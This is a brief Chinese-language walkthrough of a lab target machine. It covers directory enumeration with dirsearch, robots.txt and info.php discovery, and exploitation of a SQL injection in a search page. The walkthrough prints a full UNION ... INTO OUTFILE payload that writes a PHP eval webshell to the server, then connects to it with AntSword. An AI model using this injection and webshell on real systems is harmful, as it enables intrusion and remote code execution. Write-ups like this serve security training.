1.访问靶机的IP地址
2.通过kali中的dirsearch工具进行目录查找
得到robots.txt,通常情况下,robots.txt文件下有该网站的目录列表
3.访问robots.txt文件,得到如下:
4.通过dirsearch工具再次扫描/m3diNf0目录得到如下:
得到该目录下有一个info.php文件
5.访问/m3diNf0/info.php,得到该网站的根目录
6.访问另一个目录得到一个搜索界面
此界面经测试发现可以进行SQL注入,所以使用该漏洞上传一句话木马
注入语句:
1' union select 1,2,'<?php @eval(\$_POST[cmd];?)>' into outfile '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/sis.php' #
测试是否上传成功,发我该木马文件
上传成功
7.利用蚁剑进行连接
进入靶机目录